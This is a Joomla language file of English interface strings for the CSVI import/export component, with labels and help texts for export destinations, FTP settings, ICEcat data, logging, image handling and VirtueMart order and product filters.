COM_CSVI_PROCESS_SETTINGS_DELETED="Template %s has been deleted" COM_CSVI_PROCESS_SETTINGS_NOT_DELETED="An error occured deleting the settings. Error: %s" ; models/forms/export.xml COM_CSVI_PROCESS_ACTIONS_LABEL="Action" COM_CSVI_PROCESS_ACTIONS_DESC="Select an action to perform" COM_CSVI_PROCESS_COMPONENT_LABEL="Component" COM_CSVI_PROCESS_COMPONENT_DESC="Select a component" COM_CSVI_SELECT_COMPONENT="-- Select component --" COM_CSVI_PROCESS_OPERATION_LABEL="-- Select operation --" COM_CSVI_PROCESS_OPERATION_DESC="Select an operation" COM_CSVI_SELECT_OPERATION="-- Select operation --" COM_CSVI_EXPORT_EXPORTTO_OPTIONS_LABEL="Destination" COM_CSVI_EXPORT_EXPORTTO_OPTIONS_DESC="Select the export destination where to send the export file to" COM_CSVI_EXPORT_TO_DOWNLOAD_LABEL="Download" COM_CSVI_EXPORT_TO_FRONT_LABEL="Screen" COM_CSVI_EXPORT_TO_LOCAL_LABEL="Save on server" COM_CSVI_EXPORT_TO_FTP_LABEL="Save on FTP server" COM_CSVI_EXPORT_EMAIL_FILE_LABEL="E-mail file" COM_CSVI_EXPORT_LOCATION_INFO_LABEL="Export location" COM_CSVI_EXPORT_LOCATION_INFO_DESC="Specify the location on the server where the file should be saved. Do not enter the filename. This is either taken from the template or generated automatically. Do NOT add a trailing slash." COM_CSVI_EXPORT_FTP_HOST_LABEL="FTP Host" COM_CSVI_EXPORT_FTP_HOST_DESC="Enter the name of the host of the FTP server" COM_CSVI_EXPORT_FTP_PORT_LABEL="FTP Port" COM_CSVI_EXPORT_FTP_PORT_DESC="Enter the port of the host of the FTP server" COM_CSVI_EXPORT_FTP_USERNAME_LABEL="FTP Username" COM_CSVI_EXPORT_FTP_USERNAME_DESC="Enter the username of the host of the FTP server" COM_CSVI_EXPORT_FTP_PASS_LABEL="FTP Password" COM_CSVI_EXPORT_FTP_PASS_DESC="Enter the password of the host of the FTP server" COM_CSVI_EXPORT_FTP_ROOT_LABEL="FTP Root Folder" COM_CSVI_EXPORT_FTP_ROOT_DESC="Enter the root folder where you want to start" COM_CSVI_IMPORT_FTP_FILENAME_LABEL="FTP Filename" COM_CSVI_IMPORT_FTP_FILENAME_DESC="Specify the filename to retrieve from the FTP server" COM_CSVI_EXPORT_FILENAME_LABEL="Filename for exported file" COM_CSVI_EXPORT_FILENAME_DESC="Fill in a filename to have this template always export the same filename instead of an auto-generated one." COM_CSVI_EXPORT_FILE_LABEL="Export type" COM_CSVI_EXPORT_FILE_DESC="Select here the type of file to be exported" COM_CSVI_EXPORT_SITE_LABEL="Website" COM_CSVI_EXPORT_SITE_DESC="Select for which website the XML file should be generated.

        Only used with XML export." COM_CSVI_FIELD_DELIMITER_LABEL="Field Delimiter" COM_CSVI_FIELD_DELIMITER_DESC="Enter a unique character that separates each field. This character cannot be part of the data that is being uploaded.

        Use t to specify tab delimiter.

        This is only used for CSV files. XML files use the fieldnames attached to the template as nodes." COM_CSVI_TEXT_ENCLOSURE_LABEL="Text Enclosure" COM_CSVI_TEXT_ENCLOSURE_DESC="Enter a unique character that encloses each field. This character cannot be part of the data that is being uploaded.

        This is only used for CSV files. XML files use the fieldnames attached to the template as nodes." COM_CSVI_USE_COLUMN_HEADERS_LABEL="Use headers/nodes as configuration" COM_CSVI_USE_COLUMN_HEADERS_DESC="Use the first line of the imported file (or/ the XML node names from the first record of an XML file) as configuration instead of the fields assigned to this template." COM_CSVI_INCLUDE_COLUMN_HEADERS_LABEL="Include column headers" COM_CSVI_INCLUDE_COLUMN_HEADERS_DESC="Select this option to include column headers in the exported file." COM_CSVI_EXPORT_SIGNATURE_LABEL="Excel CSV" COM_CSVI_EXPORT_SIGNATURE_DESC="Select this to add a signature to your export file. This will help Excel to recognize extended characters" COM_CSVI_EXPORT_FRONTEND_LABEL="Export frontend" COM_CSVI_EXPORT_FRONTEND_DESC="Exporting a template on the frontend allows to display set data on the frontend. This can be used for price comparison sites who want to download your list of products. Set to Yes to allow the template to be exported from the frontend, or no to disallow export from the frontend." COM_CSVI_COLLECT_DEBUG_INFO_LABEL="Collect debug information" COM_CSVI_COLLECT_DEBUG_INFO_DESC="Collect debug information to see what is happening on import.

        Use with caution on big files as the output will be a lot." COM_CSVI_EXPORT_STATE_LABEL="Export state" COM_CSVI_EXPORT_STATE_DESC="Set the state to export. Items can be exported that are published, unpublished or both." COM_CSVI_PUBLISHED="Published" COM_CSVI_UNPUBLISHED="Unpublished" COM_CSVI_EXPORT_NUMBER_RECORDS_LABEL="Number of records to export" COM_CSVI_EXPORT_NUMBER_RECORDS_DESC="Specify the number of rows to export. This is not the same as the number of products because a product can be more than 1 row." COM_CSVI_EXPORT_GROUPBY_LABEL="Record grouping" COM_CSVI_EXPORT_GROUPBY_DESC="Selecting this option will group the same records together effectively removing any duplicate records. Grouping is based on the selected export fields." COM_CSVI_EXPORT_DATE_FORMAT_LABEL="Date format" COM_CSVI_EXPORT_DATE_FORMAT_DESC="Set the date format of how date fields get exported. Notation follows the rules of the PHP date function. For details see the PHP manual at http://www.php.net/date." COM_CSVI_EXPORT_FORMAT_DECIMAL="Number of decimals" COM_CSVI_EXPORT_FORMAT_DECIMAL_SEPARATOR="Decimal separator" COM_CSVI_EXPORT_FORMAT_THOUSAND_SEPERATOR="Thousand separator" COM_CSVI_EXPORT_ADD_CURRENCY_TO_PRICE_LABEL="Add currency to price" COM_CSVI_EXPORT_ADD_CURRENCY_TO_PRICE_DESC="Set to yes to have the currency prepended to the price. E.g. EUR 99,00." ; models/forms/import.xml COM_CSVI_IMPORT_OPERATION_LABEL="COM_CSVI_IMPORT_OPERATION_LABEL" COM_CSVI_IMPORT_OPERATION_DESC="COM_CSVI_IMPORT_OPERATION_DESC" COM_CSVI_IMPORT_SOURCE_OPTIONS_LABEL="Source" COM_CSVI_IMPORT_SOURCE_OPTIONS_DESC="Select the source where you want to retrieve the import file from" COM_CSVI_IMPORT_UPLOAD_FILE_LABEL="Load from computer" COM_CSVI_IMPORT_FROM_SERVER_LABEL="Load from server" COM_CSVI_IMPORT_FROM_URL_LABEL="Load from URL" COM_CSVI_IMPORT_FROM_FTP_LABEL="Load from FTP" COM_CSVI_IMPORT_UPLOAD_FILE_DESC="Choose this option to import a file stored on your local computer" COM_CSVI_IMPORT_FROM_SERVER_DESC="Choose this option to import a file stored on the server. The file can be uploaded via FTP first then selected here. This is handy for large files.

        The full path including filename must be specified." COM_CSVI_IMPORT_FROM_URL_DESC="Choose this option to import a file from a URL location" COM_CSVI_AUTO_DELIMITER_LABEL="Auto detect delimiters" COM_CSVI_AUTO_DELIMITER_DESC="Select this option to have CSVI try to detect your text delimiter and field enclosure automatically. Tab delimiters cannot be detected automatically. If this doesn't work, set your text delimiter and field enclosure manually." COM_CSVI_CATEGORY_SEPARATOR_LABEL="Category separator" COM_CSVI_CATEGORY_SEPARATOR_DESC="Set the character to be used as category separator. The default is a forward slash." COM_CSVI_SKIP_FIRST_LINE_LABEL="Skip first line" COM_CSVI_SKIP_FIRST_LINE_DESC="Skip the first line on import. Use this if the import file contains column headers but the fields assigned to this template need to be used. This has no effect when importing from XML files" COM_CSVI_OVERWRITE_EXISTING_DATA_LABEL="Overwrite existing data" COM_CSVI_OVERWRITE_EXISTING_DATA_DESC="Overwrite existing data will overwrite all data for each record. When not set, a record will be skipped if it exists." COM_CSVI_IGNORE_NON_DATA_LABEL="Ignore non-existing items" COM_CSVI_IGNORE_NON_DATA_DESC="Ignore non-existing items will not create any new items if the item cannot be found." COM_CSVI_SKIP_DEFAULT_LABEL="Skip default value" COM_CSVI_SKIP_DEFAULT_DESC="Default values set in the assigned fields will not be used when set to Yes." COM_CSVI_SHOW_PREVIEW_LABEL="Show preview" COM_CSVI_SHOW_PREVIEW_DESC="Show a preview before importing" COM_CSVI_REFRESH_XML_HEADERS_LABEL="Refresh configuration from XML nodes" COM_CSVI_REFRESH_XML_HEADERS_DESC="Refresh the configuration from the XML node names of each record instead of using the initial header configuration for every record. This option only has has any effect when importing from XML files and when Use column headers/nodes as configuration is also set" COM_CSVI_XML_NODES_LABEL="XML Record Nodes" COM_CSVI_XML_NODES_DESC="Enter the names of the nodes in the XML file that represent the input record types. There will usually be only one record type but if more than one record type is entered, each must be separated by a comma." COM_CSVI_IM_MAC_LABEL="I'm Mac" COM_CSVI_IM_MAC_DESC="Set this option to Yes if you work on a Apple Macintosh computer.

        From the PHP manual: This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour." ; models/forms/settings.xml COM_CSVI_IMPORT_NOLINES_LABEL="Lines per import" COM_CSVI_IMPORT_NOLINES_DESC="Set the number of lines to use per import. Use 0 for unlimited lines. Adjust this setting if your import is running out of time." COM_CSVI_IMPORT_WAIT_LABEL="Time between imports" COM_CSVI_IMPORT_WAIT_DESC="Set the number of seconds to wait between every import when doing large imports. This can be necessary to prevent the server from overloading." COM_CSVI_HOSTNAME_LABEL="Domain name" COM_CSVI_HOSTNAME_DESC="Enter your full domain name, including the http:// but without the last /. This is used for creating SEF URLs." COM_CSVI_GOOGLE_BASE_TITLE_LABEL="Google Base Title" COM_CSVI_GOOGLE_BASE_TITLE_DESC="The title of your Google Base Export file" COM_CSVI_GOOGLE_BASE_LINK_LABEL="Google Base Link" COM_CSVI_GOOGLE_BASE_LINK_DESC="The link to your webstore" COM_CSVI_GOOGLE_BASE_DESCRIPTION_LABEL="Google Base Description" COM_CSVI_GOOGLE_BASE_DESCRIPTION_DESC="A description of your webstore" COM_CSVI_ICECAT_USERNAME_LABEL="Username" COM_CSVI_ICECAT_USERNAME_DESC="Enter your ICEcat username" COM_CSVI_ICECAT_PASSWORD_LABEL="Password" COM_CSVI_ICECAT_PASSWORD_DESC="Enter your ICEcat passwod" COM_CSVI_ICECAT_ADVANCED_LABEL="Use Full ICEcat" COM_CSVI_ICECAT_ADVANCED_DESC="COM_CSVI_ICECAT_ADVANCED_DESC" COM_CSVI_ICECAT_LANG_LABEL="ICEcat language" COM_CSVI_ICECAT_LANG_DESC="Select here in which language the ICEcat data should be loaded" COM_CSVI_ICECAT_INT="International standardized version" COM_CSVI_ICECAT_EN="Standard or UK English" COM_CSVI_ICECAT_US="US English" COM_CSVI_ICECAT_BG="Bulgarian" COM_CSVI_ICECAT_CA="Catalan" COM_CSVI_ICECAT_ZH="Chinese (simplified)" COM_CSVI_ICECAT_HR="Croatian" COM_CSVI_ICECAT_CZ="Czech" COM_CSVI_ICECAT_DK="Danish" COM_CSVI_ICECAT_NL="Dutch" COM_CSVI_ICECAT_FI="Finnish" COM_CSVI_ICECAT_FR="French" COM_CSVI_ICECAT_KA="Georgian" COM_CSVI_ICECAT_DE="German" COM_CSVI_ICECAT_HU="Hungarian" COM_CSVI_ICECAT_IT="Italian" COM_CSVI_ICECAT_JA="Japanese" COM_CSVI_ICECAT_NO="Norwegian" COM_CSVI_ICECAT_PL="Polish" COM_CSVI_ICECAT_PT="Portuguese" COM_CSVI_ICECAT_RO="Romanian" COM_CSVI_ICECAT_RU="Russian" COM_CSVI_ICECAT_SR="Serbian" COM_CSVI_ICECAT_ES="Spanish" COM_CSVI_ICECAT_SE="Swedish" COM_CSVI_ICECAT_TR="Turkish" COM_CSVI_ICECAT_UK="Ukrainian" COM_CSVI_ICECAT_INDEX_URL_LABEL="Index URL" COM_CSVI_ICECAT_INDEX_URL_DESC="Specify the location of the ICEcat Index URL file" COM_CSVI_ICECAT_MF_URL_LABEL="Manufacturer URL" COM_CSVI_ICECAT_MF_URL_DESC="Specify the location of the ICEcat Manufacturer URL file" COM_CSVI_LOG_STORE_LABEL="Save log reports" COM_CSVI_LOG_STORE_DESC="Set whether or not to save log reports in database" COM_CSVI_LOG_MAX_LABEL="Log entries" COM_CSVI_LOG_MAX_DESC="Set the number of last log entries to keep. Any old log entries will be deleted before doing an import or export." COM_CSVI_LOG_TYPE_LABEL="Log types" COM_CSVI_LOG_TYPE_DESC="Select which type of error levels to log" COM_CSVI_ALL_LOGS="All" COM_CSVI_LOG_NOTICE="Notice" COM_CSVI_LOG_FAILURE="Failure" COM_CSVI_LOG_NOTICE_FAILURE="Notice & Failure" COM_CSVI_LOG_LINE_START_LABEL="Start log at line" COM_CSVI_LOG_LINE_START_DESC="Set the start line the logger should start recording the log" COM_CSVI_LOG_LINE_END_LABEL="End log at line" COM_CSVI_LOG_LINE_END_DESC="Set the end line the logger should stop recording the log" COM_CSVI_TABLELIST_LABEL="COM_CSVI_TABLELIST_LABEL" COM_CSVI_TABLELIST_DESC="COM_CSVI_TABLELIST_DESC" ; models/forms/templatetype.xml COM_CSVI_TEMPLATE_TYPE_NAME_LABEL="Name" COM_CSVI_TEMPLATE_TYPE_NAME_DESC="Give the name of the template type" COM_CSVI_TEMPLATE_PROCESS_LABEL="Process" COM_CSVI_TEMPLATE_PROCESS_DESC="Choose the process the template type is for" COM_CSVI_COMPONENT_LABEL="Component" COM_CSVI_COMPONENT_DESC="Give the name of the component the template type is for" COM_CSVI_OPTIONS_LABEL="Options" COM_CSVI_OPTIONS_DESC="Give a comma separated list of option screens to show" COM_CSVI_URL_LABEL="URL" COM_CSVI_URL_DESC="Give the URL of the component page" ; models/forms/import/limit.xml COM_CSVI_EXPORT_USE_SYSTEM_LIMITS_LABEL="Override system limits?" COM_CSVI_EXPORT_USE_SYSTEM_LIMITS_DESC="Choose if CSVI should try to adjust the server limits. In most cases this has no effect due to server restrictions. Contact your host on how to increase system limits." COM_CSVI_EXPORT_MAX_EXECUTION_TIME_LABEL="Maximum execution time" COM_CSVI_EXPORT_MAX_EXECUTION_TIME_DESC="This is the maximum time the import or export script is allowed to run before timing out. Value is in seconds." COM_CSVI_EXPORT_MEMORY_LIMIT_LABEL="Maximum amount of memory" COM_CSVI_EXPORT_MEMORY_LIMIT_DESC="This is the amount of memory the import or export script is allowed to use before terminating. Value is in megabytes." COM_CSVI_IMPORT_POST_MAX_SIZE_LABEL="Maximum size of POST data in megabytes" COM_CSVI_IMPORT_POST_MAX_SIZE_DESC="Sets maximum size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than the maximum allowed size for uploaded files." COM_CSVI_IMPORT_UPLOAD_MAX_FILESIZE_LABEL="Maximum allowed size for uploaded files in megabytes" COM_CSVI_IMPORT_UPLOAD_MAX_FILESIZE_DESC="This is the maximum size that is allowed for an uploaded file." ; models/forms/export/email.xml COM_CSVI_EXPORT_EMAIL_ADDRESSES_LABEL="E-mail addresses" COM_CSVI_EXPORT_EMAIL_ADDRESSES_DESC="Specify one or more e-mail addresses where the exported file should be send to. Separate multiple e-mail addresses with a comma (,)." COM_CSVI_EXPORT_EMAIL_ADDRESSES_CC_LABEL="CC E-mail addresses" COM_CSVI_EXPORT_EMAIL_ADDRESSES_CC_DESC="Specify one or more e-mail addresses to be added as CC address. Separate multiple e-mail addresses with a comma (,)." COM_CSVI_EXPORT_EMAIL_ADDRESSES_BCC_LABEL="BCC E-mail addresses" COM_CSVI_EXPORT_EMAIL_ADDRESSES_BCC_DESC="Specify one or more e-mail addresses to be added as BCC address. Separate multiple e-mail addresses with a comma (,)." COM_CSVI_EXPORT_EMAIL_SUBJECT_LABEL="Subject" COM_CSVI_EXPORT_EMAIL_SUBJECT_DESC="Set the subject of the e-mail message" COM_CSVI_EXPORT_EMAIL_BODY_LABEL="E-mail message" COM_CSVI_EXPORT_EMAIL_BODY_DESC="Set the e-mail message" ; models/forms/export/layout.xml COM_CSVI_EXPORT_LAYOUT_HEADER_LABEL="Header" COM_CSVI_EXPORT_LAYOUT_HEADER_DESC="Specify a header to add to the export file" COM_CSVI_EXPORT_LAYOUT_BODY_LABEL="Body" COM_CSVI_EXPORT_LAYOUT_BODY_DESC="Specify the body of the XML file. This is a single node that will be used to generate the full XML file" COM_CSVI_EXPORT_LAYOUT_FOOTER_LABEL="Footer" COM_CSVI_EXPORT_LAYOUT_FOOTER_DESC="Specify a footer to add to the export file" ; models/forms/com_virtuemart/import/calc.xml COM_CSVI_LANGUAGE_LABEL="Language" COM_CSVI_LANGUAGE_DESC="Choose the language to use" COM_CSVI_TARGET_LANGUAGE_LABEL="Translated Language" COM_CSVI_TARGET_LANGUAGE_DESC="Choose the language to use for the translation" ; models/forms/com_virtuemart/import/category_image.xml COM_CSVI_PROCESS_IMAGE_LABEL="Process images" COM_CSVI_PROCESS_IMAGE_DESC="Set this option to yes if you want CSVI to process your images. If set to No, the image names are imported as found in the import file." COM_CSVI_GENERATE_IMAGE_NAME_CASE_LABEL="Change case" COM_CSVI_GENERATE_IMAGE_NAME_CASE_DESC="Select here if the case of the filename should be changed and if so to what case" COM_CSVI_DO_NOT_CHANGE_CASE="Do not change case" COM_CSVI_SELECT_LCASE="lowercase" COM_CSVI_SELECT_UCASE="UPPERCASE" COM_CSVI_SELECT_UCFIRST="First letter uppercase" COM_CSVI_SELECT_UCWORDS="First Letter Of Every Word Uppercase" COM_CSVI_KEEP_ORIGINAL_LABEL="Keep original file" COM_CSVI_KEEP_ORIGINAL_DESC="Set this to yes if you want to leave the original image untouched. This does not apply to thumbnails." COM_CSVI_AUTO_GENERATE_IMAGE_NAME_EXT_LABEL="Image name format" COM_CSVI_AUTO_GENERATE_IMAGE_NAME_EXT_DESC="Set the type of image format to be added to the generated image name" COM_CSVI_DO_NOT_CONVERT="Do not convert" COM_CSVI_SAVE_IMAGES_ON_SERVER_LABEL="Save images on server" COM_CSVI_SAVE_IMAGES_ON_SERVER_DESC="Stores external images of the full image on the server and changes the remote image name to a local image name. Images will be stored in the default folder. Existing files will be overwritten." COM_CSVI_FULL_IMAGE_RESIZE_LABEL="Resize large image" COM_CSVI_FULL_IMAGE_RESIZE_DESC="Enable this option to resize large images to a maximum specified size. The specified size will be applied to all images that are larger than the given size." COM_CSVI_FULL_WIDTH_HEIGHT_LABEL="Full image width x height" COM_CSVI_FULL_WIDTH_HEIGHT_DESC="Set a fixed size for full images to have CSVI reduce any images that are larger than the specified size. Smaller images will not be resized to a larger size as this will reduce the quality of the image." COM_CSVI_THUMB_CHECK_FILETYPE_LABEL="Check filetype" COM_CSVI_THUMB_CHECK_FILETYPE_DESC="Set this to yes to force the thumbnail to be the same image type as the full image. E.g. if the full image is a JPG image and the thumbnail a PNG image, setting this option to yes will change the thumbnail from PNG to JPG" COM_CSVI_AUTOMATIC_THUMBNAIL_CREATION_LABEL="Automatic thumbnail creation" COM_CSVI_AUTOMATIC_THUMBNAIL_CREATION_DESC="If enabled, thumbnails will be created automatically of image files" COM_CSVI_THUMBNAIL_FORMAT_LABEL="Thumbnail type" COM_CSVI_THUMBNAIL_FORMAT_DESC="Select the output format of the thumbnails. Leave on default to use the format of the master file. This can be used to create thumbnails that are all in the same format." COM_CSVI_THUMBNAIL_WIDTH_HEIGHT_LABEL="Thumbnail width x height" COM_CSVI_THUMBNAIL_WIDTH_HEIGHT_DESC="Importing image files will create thumbnails of the size set here" ; models/forms/com_virtuemart/import/category_path.xml COM_CSVI_IMPORT_FILE_LOCATION_CATEGORY_IMAGES_LABEL="File location category images" COM_CSVI_IMPORT_FILE_LOCATION_CATEGORY_IMAGES_DESC="File location is used as a starting point of the location of category image files. Do not add a trailing slash." ; models/forms/com_virtuemart/import/image.xml COM_CSVI_AUTO_GENERATE_IMAGE_NAME_LABEL="Create image name" COM_CSVI_AUTO_GENERATE_IMAGE_NAME_DESC="Create an image name for both the full and thumbnail image. This will add the image name in the database but not check if the image actually exists. Images are assumed to be in the default location." COM_CSVI_TYPE_GENERATE_IMAGE_NAME_LABEL="Image name based on" COM_CSVI_TYPE_GENERATE_IMAGE_NAME_DESC="Select the type the image name should be based on" COM_CSVI_PRODUCT_SKU="Product SKU" COM_CSVI_PRODUCT_NAME="Product name" COM_CSVI_PRODUCT_ID="Product ID" COM_CSVI_RANDOM="Random" ; models/forms/com_virtuemart/import/media.xml COM_CSVI_IGNORE_NON_EXIST_FILES_LABEL="Ignore media file" COM_CSVI_IGNORE_NON_EXIST_FILES_DESC="If set, a media file is not added to the database when the file cannot be found on the server" ; models/forms/com_virtuemart/import/media_path.xml COM_CSVI_IMPORT_FILE_LOCATION_PRODUCT_IMAGES_LABEL="File location product images" COM_CSVI_IMPORT_FILE_LOCATION_PRODUCT_IMAGES_DESC="File location is used as a starting point of the location of product image files. Do not add a trailing slash." ; models/forms/com_virtuemart/import/product.xml COM_CSVI_APPEND_CATEGORIES_LABEL="Append categories" COM_CSVI_APPEND_CATEGORIES_DESC="Append categories to existing categories instead of overwriting them" COM_CSVI_UPDATE_BASED_ON_LABEL="Import based on" COM_CSVI_UPDATE_BASED_ON_DESC="Setting this option determines how CSVI recognizes products. CSVI can recognize products based on their product SKU, custom SKU or child product SKU.
        Custom SKU
        Choosing import based on custom SKU requires the custom SKU table name field to be filled.
        Child products
        Choosing import based on child product SKU requires the import file to have both product_sku and product_parent_sku fields." COM_CSVI_PRODUCT_MPN="Custom SKU" COM_CSVI_PRODUCT_CHILD_SKU="Product child SKU" COM_CSVI_MPN_COLUMN_NAME_LABEL="Custom column name" COM_CSVI_MPN_COLUMN_NAME_DESC="Specify the name of the database column that holds the custom SKU" COM_CSVI_UNPUBLISH_BEFORE_IMPORT_LABEL="Unpublish products before import" COM_CSVI_UNPUBLISH_BEFORE_IMPORT_DESC="Setting this option will unpublish all products before doing a new import" COM_CSVI_USE_ICECAT_LABEL="Use ICEcat data" COM_CSVI_USE_ICECAT_DESC="Select this to have CSVI read the data from ICEcat if available" ; models/forms/com_virtuemart/export/order.xml COM_CSVI_EXPORT_ORDER_NUMBER_LABEL="Order number" COM_CSVI_EXPORT_ORDER_NUMBER_DESC="Specify the start and end order number to filter the orders by number. The start and end number are included in the selection." COM_CSVI_EXPORT_ORDER_LIST_LABEL="Order IDs" COM_CSVI_EXPORT_ORDER_LIST_DESC="A comma separated list of order IDs" COM_CSVI_EXPORT_ORDER_DATE_LABEL="Order date" COM_CSVI_EXPORT_ORDER_DATE_DESC="Specify the start and end date to filter the orders by date. The start and end date are included in the selection." COM_CSVI_EXPORT_ORDER_MODIFIED_DATE_LABEL="Order modified date" COM_CSVI_EXPORT_ORDER_MODIFIED_DATE_DESC="Specify the start and end date to filter the orders by their last modification date. The start and end date are included in the selection." COM_CSVI_EXPORT_ORDER_STATUS_LABEL="Order status" COM_CSVI_EXPORT_ORDER_STATUS_DESC="Select the order status to filter the orders by their status" COM_CSVI_EXPORT_ORDER_PAYMENT_LABEL="Order payment method" COM_CSVI_EXPORT_ORDER_PAYMENT_DESC="Specify the payment type to filter orders on the payment method used" COM_CSVI_EXPORT_ORDER_SHIPPING_LABEL="Order address type" COM_CSVI_EXPORT_ORDER_SHIPPING_DESC="Select the type of address to filter orders on.

        StatusDescription
        Don't useAll order address types are exported
        Billing addressOnly orders with billing address are exported
        Shipping addressOnly orders with shipping address are exported
        Billing or shipping addressOrders will be exported with their billing address unless a shipping address exists. The shipping address will be used in this case.
        " COM_CSVI_EXPORT_MANUFACTURER_LABEL="Manufacturer" COM_CSVI_EXPORT_MANUFACTURER_DESC="Select one or multiple manufacturers to export only products from these manufacturers. To export all products, select All." COM_CSVI_ALL_MANUFACTURERS="All manufacturers" COM_CSVI_EXPORT_ORDER_CURRENCY_LABEL="Order currency" COM_CSVI_EXPORT_ORDER_CURRENCY_DESC="Select the currency to filter the orders on" COM_CSVI_EXPORT_ORDER_PRICE_LABEL="Order price" COM_CSVI_EXPORT_ORDER_PRICE_DESC="Specify the start and end price to filter the orders by price. The start and end price are included in the selection." COM_CSVI_EXPORT_ORDER_USER_LABEL="Order customer name" COM_CSVI_EXPORT_ORDER_USER_DESC="Select the customer name for which the orders need to be exported. Empty customer names are given the name <No name>." COM_CSVI_EXPORT_ORDER_PRODUCT_LABEL="Order product" COM_CSVI_EXPORT_ORDER_PRODUCT_DESC="Specify the product to export orders for" ; models/forms/com_virtuemart/export/orderitem.xml COM_CSVI_EXPORT_ORDER_ITEMS_NUMBER_LABEL="Order number" COM_CSVI_EXPORT_ORDER_ITEMS_NUMBER_DESC="Specify the start and end order number to filter the orders by number. The start and end number are included in the selection." COM_CSVI_EXPORT_ORDER_ITEMS_DATE_LABEL="Order date" COM_CSVI_EXPORT_ORDER_ITEMS_DATE_DESC="Specify the start and end date to filter the orders by date. The start and end date are included in the selection." COM_CSVI_EXPORT_ORDER_ITEMS_MODIFIED_DATE_LABEL="Order modified date" COM_CSVI_EXPORT_ORDER_ITEMS_MODIFIED_DATE_DESC="Specify the start and end date to filter the orders by their last modification date. The start and end date are included in the selection." COM_CSVI_EXPORT_ORDER_ITEMS_STATUS_LABEL="Order status" COM_CSVI_EXPORT_ORDER_ITEMS_STATUS_DESC="Select the order status to filter the orders by their status" COM_CSVI_EXPORT_ORDER_ITEMS_CURRENCY_LABEL="Order currency" COM_CSVI_EXPORT_ORDER_ITEMS_CURRENCY_DESC="Select the currency to filter the orders on" COM_CSVI_EXPORT_ORDER_ITEMS_PRICE_LABEL="Order price" COM_CSVI_EXPORT_ORDER_ITEMS_PRICE_DESC="Specify the start and end price to filter the orders by price. The start and end price are included in the selection." COM_CSVI_EXPORT_ORDER_ITEMS_PRODUCT_LABEL="Order product" COM_CSVI_EXPORT_ORDER_ITEMS_PRODUCT_DESC="Specify the product to export orders for" ; models/forms/com_virtuemart/export/product.xml COM_CSVI_EXPORT_PRODUCT_SEF_LABEL="Export SEF URLs?" COM_CSVI_EXPORT_PRODUCT_SEF_DESC="Select if the product URL should be a SEF URL or a regular URL" COM_CSVI_EXPORT_PRODUCT_URL_SUFFIX_LABEL="Product URL suffix" COM_CSVI_EXPORT_PRODUCT_URL_SUFFIX_DESC="The value entered in the box here will be appended to the product url" COM_CSVI_EXPORT_PRODUCT_FEATURED_FILTER_LABEL="Featured" COM_CSVI_EXPORT_PRODUCT_FEATURED_FILTER_DESC="Select to only export products that are set to featured" COM_CSVI_EXPORT_PRODUCT_JOOMFISH_TRANSLATION_LABEL="Use JoomFish translation?" COM_CSVI_EXPORT_PRODUCT_JOOMFISH_TRANSLATION_DESC="Select yes to export JoomFish translated data" COM_CSVI_EXPORT_PRODUCT_JOOMFISH_LANGUAGE_LABEL="JoomFish language" COM_CSVI_EXPORT_PRODUCT_JOOMFISH_LANGUAGE_DESC="Select which language to export" COM_CSVI_EXPORT_PRODUCT_CATEGORY_LABEL="Category" COM_CSVI_EXPORT_PRODUCT_CATEGORY_DESC="Select 1 or more categories to export." COM_CSVI_EXPORT_CATEGORY_STATE_LABEL="Category state" COM_CSVI_EXPORT_CATEGORY_STATE_DESC="Select if the category should be both, published or unpublished" COM_CSVI_EXPORT_PRODUCT_INCLUDE_SUBCATEGORY_LABEL="Include subcategories" COM_CSVI_EXPORT_PRODUCT_INCLUDE_SUBCATEGORY_DESC="If set to yes, subcategories will be automatically selected for export" COM_CSVI_EXPORT_PRODUCT_PARENT_ONLY_LABEL="Parent products only" COM_CSVI_EXPORT_PRODUCT_PARENT_ONLY_DESC="Select this to export only parent products and products without child products." COM_CSVI_EXPORT_PRODUCT_CHILD_ONLY_LABEL="Child products only" COM_CSVI_EXPORT_PRODUCT_CHILD_ONLY_DESC="Select this to export only child products and products without child products." COM_CSVI_EXPORT_PRODUCT_SKU_FILTER_LABEL="Product SKU filter" COM_CSVI_EXPORT_PRODUCT_SKU_FILTER_DESC="Specify the filter to select products where the product SKU matches the filter. For example: AGH2% to match AGH2A, %AGH2% to match ZAGH2B, or AGH2 to match AGH2. Multiple SKUs can be entered but need to be separated with a comma. For example AGH2%,BFT" COM_CSVI_PRICE_GREATER_THAN="greater than" COM_CSVI_PRICE_EQUAL="equal to" COM_CSVI_PRICE_LOWER_THAN="lower than" COM_CSVI_PRICE_BETWEEN="between" COM_CSVI_EXPORT_PRODUCT_PRICE_LABEL="Price filter" COM_CSVI_EXPORT_PRODUCT_PRICE_DESC="Filter on product price. Prices are excluding tax" COM_CSVI_EXPORT_PRODUCT_STOCK_LEVEL_LABEL="Stock level" COM_CSVI_EXPORT_PRODUCT_STOCK_LEVEL_DESC="Specify the start and end level to filter the products by stock level. The start and end levels are included in the selection." COM_CSVI_EXPORT_CURRENCY_LABEL="Target currency" COM_CSVI_EXPORT_CURRENCY_DESC="Select the currency to use in the exported file. Note: Load exchange rates (maintenance section) must have been used to get the latest exchange rates." COM_CSVI_EXPORT_SHOPPER_GROUP_NAME_LABEL="Shopper group name" COM_CSVI_EXPORT_SHOPPER_GROUP_NAME_DESC="Select a shopper group name to export products of that particular shopper group." COM_CSVI_ALL_SHOPPERGROUPS="All shopper groups" COM_CSVI_EXPORT_CUSTOM_TITLE_LABEL="Custom field title" COM_CSVI_EXPORT_CUSTOM_TITLE_DESC="Select one or more custom fields to filter on. This does not limit the products but it does limit the custom fields exported per product" ; models/forms/com_virtuemart/export/userinfo.xml COM_CSVI_EXPORT_USER_INFO_ADDRESS_LABEL="User address type" COM_CSVI_EXPORT_USER_INFO_ADDRESS_DESC="Select the type of address to filter users on." COM_CSVI_EXPORT_USER_INFO_PERMS_LABEL="User permission" COM_CSVI_EXPORT_USER_INFO_PERMS_DESC="Select the permission to filter users on." COM_CSVI_EXPORT_USER_INFO_MODIFIED_DATE_LABEL="User modified date" COM_CSVI_EXPORT_USER_INFO_MODIFIED_DATE_DESC="Specify the start and end date to filter the users by their last modification date. The start and end date are included in the selection." ; models/forms/com_redshop/export/product.xml COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_START_LABEL="Price quantity start" COM_CSVI_EXPORT_PRODUCT_PRICE_QUANTITY_START_DESC="Set the price quantity start levels to filter for selected prices." 